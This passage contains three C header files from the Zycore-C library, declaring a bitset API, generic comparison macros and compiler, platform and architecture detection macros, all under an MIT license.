* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Implements the bitset class.
*/
#ifndef ZYCORE_BITSET_H
#define ZYCORE_BITSET_H
#include <ZycoreExportConfig.h>
#include <Zycore/Allocator.h>
#include <Zycore/Status.h>
#include <Zycore/Types.h>
#include <Zycore/Vector.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/**
* Defines the `ZyanVector` struct.
*
* All fields in this struct should be considered as "private". Any changes may lead to unexpected
* behavior.
*/
typedef struct ZyanBitset_
{
/**
* The bitset size.
*/
ZyanUSize size;
/**
* The bitset data.
*/
ZyanVector bits;
} ZyanBitset;
/**
* Defines the `ZyanBitsetByteOperation` function prototype.
*
* @param v1 A pointer to the first byte. This value receives the result after performing the
* desired operation.
* @param v2 A pointer to the second byte.
*
* @return A zyan status code.
*
* This function is used to perform byte-wise operations on two `ZyanBitset` instances.
*/
typedef ZyanStatus (*ZyanBitsetByteOperation)(ZyanU8* v1, const ZyanU8* v2);
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Constructor and destructor */
/* ---------------------------------------------------------------------------------------------- */
#ifndef ZYAN_NO_LIBC
/**
* Initializes the given `ZyanBitset` instance.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param count The initial amount of bits.
*
* @return A zyan status code.
*
* The space for the bitset is dynamically allocated by the default allocator using the default
* growth factor of `2.0f` and the default shrink threshold of `0.5f`.
*/
ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanBitsetInit(ZyanBitset* bitset, ZyanUSize count);
#endif // ZYAN_NO_LIBC
/**
* Initializes the given `ZyanBitset` instance and sets a custom `allocator` and memory
* allocation/deallocation parameters.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param count The initial amount of bits.
* @param allocator A pointer to a `ZyanAllocator` instance.
* @param growth_factor The growth factor (from `1.0f` to `x.xf`).
* @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`).
*
* @return A zyan status code.
*
* A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables
* dynamic shrinking.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetInitEx(ZyanBitset* bitset, ZyanUSize count,
ZyanAllocator* allocator, float growth_factor, float shrink_threshold);
/**
* Initializes the given `ZyanBitset` instance and configures it to use a custom user
* defined buffer with a fixed size.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param count The initial amount of bits.
* @param buffer A pointer to the buffer that is used as storage for the bits.
* @param capacity The maximum capacity (number of bytes) of the buffer.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetInitBuffer(ZyanBitset* bitset, ZyanUSize count, void* buffer,
ZyanUSize capacity);
/**
* Destroys the given `ZyanBitset` instance.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetDestroy(ZyanBitset* bitset);
/* ---------------------------------------------------------------------------------------------- */
/* Logical operations */
/* ---------------------------------------------------------------------------------------------- */
/**
* Performs a byte-wise `operation` for every byte in the given `ZyanBitset` instances.
*
* @param destination A pointer to the `ZyanBitset` instance that is used as the first input and
* as the destination.
* @param source A pointer to the `ZyanBitset` instance that is used as the second input.
* @param operation A pointer to the function that performs the desired operation.
*
* @return A zyan status code.
*
* The `operation` callback is invoked once for every byte in the smallest of the `ZyanBitset`
* instances.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetPerformByteOperation(ZyanBitset* destination,
const ZyanBitset* source, ZyanBitsetByteOperation operation);
/**
* Performs a logical `AND` operation on the given `ZyanBitset` instances.
*
* @param destination A pointer to the `ZyanBitset` instance that is used as the first input and
* as the destination.
* @param source A pointer to the `ZyanBitset` instance that is used as the second input.
*
* @return A zyan status code.
*
* If the destination bitmask contains more bits than the source one, the state of the remaining
* bits will be undefined.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetAND(ZyanBitset* destination, const ZyanBitset* source);
/**
* Performs a logical `OR` operation on the given `ZyanBitset` instances.
*
* @param destination A pointer to the `ZyanBitset` instance that is used as the first input and
* as the destination.
* @param source A pointer to the `ZyanBitset` instance that is used as the second input.
*
* @return A zyan status code.
*
* If the destination bitmask contains more bits than the source one, the state of the remaining
* bits will be undefined.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetOR (ZyanBitset* destination, const ZyanBitset* source);
/**
* Performs a logical `XOR` operation on the given `ZyanBitset` instances.
*
* @param destination A pointer to the `ZyanBitset` instance that is used as the first input and
* as the destination.
* @param source A pointer to the `ZyanBitset` instance that is used as the second input.
*
* @return A zyan status code.
*
* If the destination bitmask contains more bits than the source one, the state of the remaining
* bits will be undefined.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetXOR(ZyanBitset* destination, const ZyanBitset* source);
/**
* Flips all bits of the given `ZyanBitset` instance.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetFlip(ZyanBitset* bitset);
/* ---------------------------------------------------------------------------------------------- */
/* Bit access */
/* ---------------------------------------------------------------------------------------------- */
/**
* Sets the bit at `index` of the given `ZyanBitset` instance to `1`.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param index The bit index.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetSet(ZyanBitset* bitset, ZyanUSize index);
/**
* Sets the bit at `index` of the given `ZyanBitset` instance to `0`.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param index The bit index.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetReset(ZyanBitset* bitset, ZyanUSize index);
/**
* Sets the bit at `index` of the given `ZyanBitset` instance to the specified `value`.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param index The bit index.
* @param value The new value.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetAssign(ZyanBitset* bitset, ZyanUSize index, ZyanBool value);
/**
* Toggles the bit at `index` of the given `ZyanBitset` instance.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param index The bit index.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetToggle(ZyanBitset* bitset, ZyanUSize index);
/**
* Returns the value of the bit at `index`.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param index The bit index.
*
* @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not, Another zyan
* status code, if an error occured.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetTest(ZyanBitset* bitset, ZyanUSize index);
/**
* Returns the value of the most significant bit.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not. Another zyan
* status code, if an error occured.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetTestMSB(ZyanBitset* bitset);
/**
* Returns the value of the least significant bit.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not. Another zyan
* status code, if an error occured.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetTestLSB(ZyanBitset* bitset);
/* ---------------------------------------------------------------------------------------------- */
/**
* Sets all bits of the given `ZyanBitset` instance to `1`.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetSetAll(ZyanBitset* bitset);
/**
* Sets all bits of the given `ZyanBitset` instance to `0`.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetResetAll(ZyanBitset* bitset);
/* ---------------------------------------------------------------------------------------------- */
/* Size management */
/* ---------------------------------------------------------------------------------------------- */
/**
* Adds a new bit at the end of the bitset.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param value The value of the new bit.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetPush(ZyanBitset* bitset, ZyanBool value);
/**
* Removes the last bit of the bitset.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetPop(ZyanBitset* bitset);
/**
* Deletes all bits of the given `ZyanBitset` instance.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetClear(ZyanBitset* bitset);
/* ---------------------------------------------------------------------------------------------- */
/* Memory management */
/* ---------------------------------------------------------------------------------------------- */
/**
* Changes the capacity of the given `ZyanBitset` instance.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param count The new capacity (number of bits).
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetReserve(ZyanBitset* bitset, ZyanUSize count);
/**
* Shrinks the capacity of the given bitset to match it's size.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetShrinkToFit(ZyanBitset* bitset);
/* ---------------------------------------------------------------------------------------------- */
/* Information */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the current size of the bitset in bits.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param size Receives the size of the bitset in bits.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetGetSize(const ZyanBitset* bitset, ZyanUSize* size);
/**
* Returns the current capacity of the bitset in bits.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param capacity Receives the size of the bitset in bits.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetGetCapacity(const ZyanBitset* bitset, ZyanUSize* capacity);
/**
* Returns the current size of the bitset in bytes.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param size Receives the size of the bitset in bytes.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetGetSizeBytes(const ZyanBitset* bitset, ZyanUSize* size);
/**
* Returns the current capacity of the bitset in bytes.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param capacity Receives the size of the bitset in bytes.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetGetCapacityBytes(const ZyanBitset* bitset, ZyanUSize* capacity);
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the amount of bits set in the given bitset.
*
* @param bitset A pointer to the `ZyanBitset` instance.
* @param count Receives the amount of bits set in the given bitset.
*
* @return A zyan status code.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetCount(const ZyanBitset* bitset, ZyanUSize* count);
/**
* Checks, if all bits of the given bitset are set.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return `ZYAN_STATUS_TRUE`, if all bits are set, `ZYAN_STATUS_FALSE`, if not. Another zyan
* status code, if an error occured.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetAll(const ZyanBitset* bitset);
/**
* Checks, if at least one bit of the given bitset is set.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return `ZYAN_STATUS_TRUE`, if at least one bit is set, `ZYAN_STATUS_FALSE`, if not. Another
* zyan status code, if an error occured.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetAny(const ZyanBitset* bitset);
/**
* Checks, if none bits of the given bitset are set.
*
* @param bitset A pointer to the `ZyanBitset` instance.
*
* @return `ZYAN_STATUS_TRUE`, if none bits are set, `ZYAN_STATUS_FALSE`, if not. Another zyan
* status code, if an error occured.
*/
ZYCORE_EXPORT ZyanStatus ZyanBitsetNone(const ZyanBitset* bitset);
///* ---------------------------------------------------------------------------------------------- */
//
///**
// * Returns a 32-bit unsigned integer representation of the data.
// *
// * @param bitset A pointer to the `ZyanBitset` instance.
// * @param value Receives the 32-bit unsigned integer representation of the data.
// *
// * @return A zyan status code.
// */
//ZYCORE_EXPORT ZyanStatus ZyanBitsetToU32(const ZyanBitset* bitset, ZyanU32* value);
//
///**
// * Returns a 64-bit unsigned integer representation of the data.
// *
// * @param bitset A pointer to the `ZyanBitset` instance.
// * @param value Receives the 64-bit unsigned integer representation of the data.
// *
// * @return A zyan status code.
// */
//ZYCORE_EXPORT ZyanStatus ZyanBitsetToU64(const ZyanBitset* bitset, ZyanU64* value);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYCORE_BITSET_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* Defines prototypes of general-purpose comparison functions.
*/
#ifndef ZYCORE_COMPARISON_H
#define ZYCORE_COMPARISON_H
#include <Zycore/Defines.h>
#include <Zycore/Types.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/**
* Defines the `ZyanEqualityComparison` function prototype.
*
* @param left A pointer to the first element.
* @param right A pointer to the second element.
*
* @return This function should return `ZYAN_TRUE` if the `left` element equals the `right` one
* or `ZYAN_FALSE`, if not.
*/
typedef ZyanBool (*ZyanEqualityComparison)(const void* left, const void* right);
/**
* Defines the `ZyanComparison` function prototype.
*
* @param left A pointer to the first element.
* @param right A pointer to the second element.
*
* @return This function should return values in the following range:
* `left == right -> result == 0`
* `left < right -> result < 0`
* `left > right -> result > 0`
*/
typedef ZyanI32 (*ZyanComparison)(const void* left, const void* right);
/* ============================================================================================== */
/* Macros */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Equality comparison functions */
/* ---------------------------------------------------------------------------------------------- */
/**
* Declares a generic equality comparison function for an integral data-type.
*
* @param name The name of the function.
* @param type The name of the integral data-type.
*/
#define ZYAN_DECLARE_EQUALITY_COMPARISON(name, type) \
ZyanBool name(const type* left, const type* right) \
{ \
ZYAN_ASSERT(left); \
ZYAN_ASSERT(right); \
\
return (*left == *right) ? ZYAN_TRUE : ZYAN_FALSE; \
}
/**
* Declares a generic equality comparison function that compares a single integral
* data-type field of a struct.
*
* @param name The name of the function.
* @param type The name of the integral data-type.
* @param field_name The name of the struct field.
*/
#define ZYAN_DECLARE_EQUALITY_COMPARISON_FOR_FIELD(name, type, field_name) \
ZyanBool name(const type* left, const type* right) \
{ \
ZYAN_ASSERT(left); \
ZYAN_ASSERT(right); \
\
return (left->field_name == right->field_name) ? ZYAN_TRUE : ZYAN_FALSE; \
}
/* ---------------------------------------------------------------------------------------------- */
/* Comparison functions */
/* ---------------------------------------------------------------------------------------------- */
/**
* Declares a generic comparison function for an integral data-type.
*
* @param name The name of the function.
* @param type The name of the integral data-type.
*/
#define ZYAN_DECLARE_COMPARISON(name, type) \
ZyanI32 name(const type* left, const type* right) \
{ \
ZYAN_ASSERT(left); \
ZYAN_ASSERT(right); \
\
if (*left < *right) \
{ \
return -1; \
} \
if (*left > *right) \
{ \
return 1; \
} \
return 0; \
}
/**
* Declares a generic comparison function that compares a single integral data-type field
* of a struct.
*
* @param name The name of the function.
* @param type The name of the integral data-type.
* @param field_name The name of the struct field.
*/
#define ZYAN_DECLARE_COMPARISON_FOR_FIELD(name, type, field_name) \
ZyanI32 name(const type* left, const type* right) \
{ \
ZYAN_ASSERT(left); \
ZYAN_ASSERT(right); \
\
if (left->field_name < right->field_name) \
{ \
return -1; \
} \
if (left->field_name > right->field_name) \
{ \
return 1; \
} \
return 0; \
}
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Default equality comparison functions */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines a default equality comparison function for pointer values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if
* not.
*/
ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsPointer, void* const)
/**
* Defines a default equality comparison function for `ZyanBool` values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if
* not.
*/
ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsBool, ZyanBool)
/**
* Defines a default equality comparison function for 8-bit numeric values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if
* not.
*/
ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric8, ZyanU8)
/**
* Defines a default equality comparison function for 16-bit numeric values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if
* not.
*/
ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric16, ZyanU16)
/**
* Defines a default equality comparison function for 32-bit numeric values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if
* not.
*/
ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric32, ZyanU32)
/**
* Defines a default equality comparison function for 64-bit numeric values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if
* not.
*/
ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric64, ZyanU64)
/* ---------------------------------------------------------------------------------------------- */
/* Default comparison functions */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines a default comparison function for pointer values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is
* less than the `right` one, or `1` if the `left` value is greater than the `right` one.
*/
ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanComparePointer, void* const)
/**
* Defines a default comparison function for `ZyanBool` values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is
* less than the `right` one, or `1` if the `left` value is greater than the `right` one.
*/
ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareBool, ZyanBool)
/**
* Defines a default comparison function for 8-bit numeric values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is
* less than the `right` one, or `1` if the `left` value is greater than the `right` one.
*/
ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric8, ZyanU8)
/**
* Defines a default comparison function for 16-bit numeric values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is
* less than the `right` one, or `1` if the `left` value is greater than the `right` one.
*/
ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric16, ZyanU16)
/**
* Defines a default comparison function for 32-bit numeric values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is
* less than the `right` one, or `1` if the `left` value is greater than the `right` one.
*/
ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric32, ZyanU32)
/**
* Defines a default comparison function for 64-bit numeric values.
*
* @param left A pointer to the first value.
* @param right A pointer to the second value.
*
* @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is
* less than the `right` one, or `1` if the `left` value is greater than the `right` one.
*/
ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric64, ZyanU64)
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYCORE_COMPARISON_H */

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/***************************************************************************************************
Zyan Core Library (Zycore-C)
Original Author : Florian Bernd, Joel Hoener
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
***************************************************************************************************/
/**
* @file
* General helper and platform detection macros.
*/
#ifndef ZYCORE_DEFINES_H
#define ZYCORE_DEFINES_H
/* ============================================================================================== */
/* Meta macros */
/* ============================================================================================== */
/**
* Concatenates two values using the stringify operator (`##`).
*
* @param x The first value.
* @param y The second value.
*
* @return The combined string of the given values.
*/
#define ZYAN_MACRO_CONCAT(x, y) x ## y
/**
* Concatenates two values using the stringify operator (`##`) and expands the value to
* be used in another macro.
*
* @param x The first value.
* @param y The second value.
*
* @return The combined string of the given values.
*/
#define ZYAN_MACRO_CONCAT_EXPAND(x, y) ZYAN_MACRO_CONCAT(x, y)
/* ============================================================================================== */
/* Compiler detection */
/* ============================================================================================== */
#if defined(__clang__)
# define ZYAN_CLANG
# define ZYAN_GNUC
#elif defined(__ICC) || defined(__INTEL_COMPILER)
# define ZYAN_ICC
#elif defined(__GNUC__) || defined(__GNUG__)
# define ZYAN_GCC
# define ZYAN_GNUC
#elif defined(_MSC_VER)
# define ZYAN_MSVC
#elif defined(__BORLANDC__)
# define ZYAN_BORLAND
#else
# define ZYAN_UNKNOWN_COMPILER
#endif
/* ============================================================================================== */
/* Platform detection */
/* ============================================================================================== */
#if defined(_WIN32)
# define ZYAN_WINDOWS
#elif defined(__EMSCRIPTEN__)
# define ZYAN_EMSCRIPTEN
#elif defined(__APPLE__)
# define ZYAN_APPLE
# define ZYAN_POSIX
#elif defined(__linux)
# define ZYAN_LINUX
# define ZYAN_POSIX
#elif defined(__FreeBSD__)
# define ZYAN_FREEBSD
# define ZYAN_POSIX
#elif defined(sun) || defined(__sun)
# define ZYAN_SOLARIS
# define ZYAN_POSIX
#elif defined(__unix)
# define ZYAN_UNIX
# define ZYAN_POSIX
#elif defined(__posix)
# define ZYAN_POSIX
#else
# define ZYAN_UNKNOWN_PLATFORM
#endif
/* ============================================================================================== */
/* Kernel mode detection */
/* ============================================================================================== */
#if (defined(ZYAN_WINDOWS) && defined(_KERNEL_MODE)) || \
(defined(ZYAN_APPLE) && defined(KERNEL)) || \
(defined(ZYAN_LINUX) && defined(__KERNEL__)) || \
(defined(__FreeBSD_kernel__))
# define ZYAN_KERNEL
#else
# define ZYAN_USER
#endif
/* ============================================================================================== */
/* Architecture detection */
/* ============================================================================================== */
#if defined(_M_AMD64) || defined(__x86_64__)
# define ZYAN_X64
#elif defined(_M_IX86) || defined(__i386__)
# define ZYAN_X86
#elif defined(_M_ARM64) || defined(__aarch64__)
# define ZYAN_AARCH64
#elif defined(_M_ARM) || defined(_M_ARMT) || defined(__arm__) || defined(__thumb__)
# define ZYAN_ARM
#elif defined(__EMSCRIPTEN__)
// Nothing to do, `ZYAN_EMSCRIPTEN` is both platform and arch macro for this one.
#else
# error "Unsupported architecture detected"
#endif
/* ============================================================================================== */
/* Debug/Release detection */
/* ============================================================================================== */
#if defined(ZYAN_MSVC) || defined(ZYAN_BORLAND)
# ifdef _DEBUG
# define ZYAN_DEBUG
# else
# define ZYAN_RELEASE
# endif
#elif defined(ZYAN_GNUC) || defined(ZYAN_ICC)
# ifdef NDEBUG
# define ZYAN_RELEASE
# else
# define ZYAN_DEBUG
# endif
#else
# define ZYAN_RELEASE
#endif
/* ============================================================================================== */
/* Misc compatibility macros */
/* ============================================================================================== */
#if defined(ZYAN_CLANG)
# define ZYAN_NO_SANITIZE(what) __attribute__((no_sanitize(what)))
#else
# define ZYAN_NO_SANITIZE(what)
#endif
#if defined(ZYAN_MSVC) || defined(ZYAN_BORLAND)
# define ZYAN_INLINE __inline
#else
# define ZYAN_INLINE static inline
#endif
/* ============================================================================================== */
/* Debugging and optimization macros */
/* ============================================================================================== */
/**
* Runtime debug assertion.
*/
#if defined(ZYAN_NO_LIBC)
# define ZYAN_ASSERT(condition) (void)(condition)
#elif defined(ZYAN_WINDOWS) && defined(ZYAN_KERNEL)
# include <wdm.h>
# define ZYAN_ASSERT(condition) NT_ASSERT(condition)
#else
# include <assert.h>
# define ZYAN_ASSERT(condition) assert(condition)
#endif
/**
* Compiler-time assertion.
*/
#if __STDC_VERSION__ >= 201112L && !defined(__cplusplus)
# define ZYAN_STATIC_ASSERT(x) _Static_assert(x, #x)
#elif (defined(__cplusplus) && __cplusplus >= 201103L) || \
(defined(__cplusplus) && defined (_MSC_VER) && (_MSC_VER >= 1600)) || \
(defined (_MSC_VER) && (_MSC_VER >= 1800))
# define ZYAN_STATIC_ASSERT(x) static_assert(x, #x)
#else
# define ZYAN_STATIC_ASSERT(x) \
typedef int ZYAN_MACRO_CONCAT_EXPAND(ZYAN_SASSERT_, __COUNTER__) [(x) ? 1 : -1]
#endif
/**
* Marks the current code path as unreachable.
*/
#if defined(ZYAN_RELEASE)
# if defined(ZYAN_CLANG) // GCC eagerly evals && RHS, we have to use nested ifs.
# if __has_builtin(__builtin_unreachable)
# define ZYAN_UNREACHABLE __builtin_unreachable()
# else
# define ZYAN_UNREACHABLE for(;;)
# endif
# elif defined(ZYAN_GCC) && ((__GNUC__ == 4 && __GNUC_MINOR__ > 4) || __GNUC__ > 4)
# define ZYAN_UNREACHABLE __builtin_unreachable()
# elif defined(ZYAN_ICC)
# ifdef ZYAN_WINDOWS
# include <stdlib.h> // "missing return statement" workaround
# define ZYAN_UNREACHABLE __assume(0); (void)abort()
# else
# define ZYAN_UNREACHABLE __builtin_unreachable()
# endif
# elif defined(ZYAN_MSVC)
# define ZYAN_UNREACHABLE __assume(0)
# else
# define ZYAN_UNREACHABLE for(;;)
# endif
#elif defined(ZYAN_NO_LIBC)
# define ZYAN_UNREACHABLE for(;;)
#elif defined(ZYAN_WINDOWS) && defined(ZYAN_KERNEL)
# define ZYAN_UNREACHABLE { __fastfail(0); for(;;){} }
#else
# include <stdlib.h>
# define ZYAN_UNREACHABLE { assert(0); abort(); }
#endif
/* ============================================================================================== */
/* Utils */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* General purpose */
/* ---------------------------------------------------------------------------------------------- */
/**
* Marks the specified parameter as unused.
*
* @param x The name of the unused parameter.
*/
#define ZYAN_UNUSED(x) (void)(x)
/**
* Intentional fallthrough.
*/
#if defined(ZYAN_GCC) && __GNUC__ >= 7
# define ZYAN_FALLTHROUGH __attribute__((fallthrough))
#else
# define ZYAN_FALLTHROUGH
#endif
/**
* Declares a bitfield.
*
* @param x The size (in bits) of the bitfield.
*/
#define ZYAN_BITFIELD(x) : x
/**
* Marks functions that require libc (cannot be used with `ZYAN_NO_LIBC`).
*/
#define ZYAN_REQUIRES_LIBC
/**
* Decorator for `printf`-style functions.
*
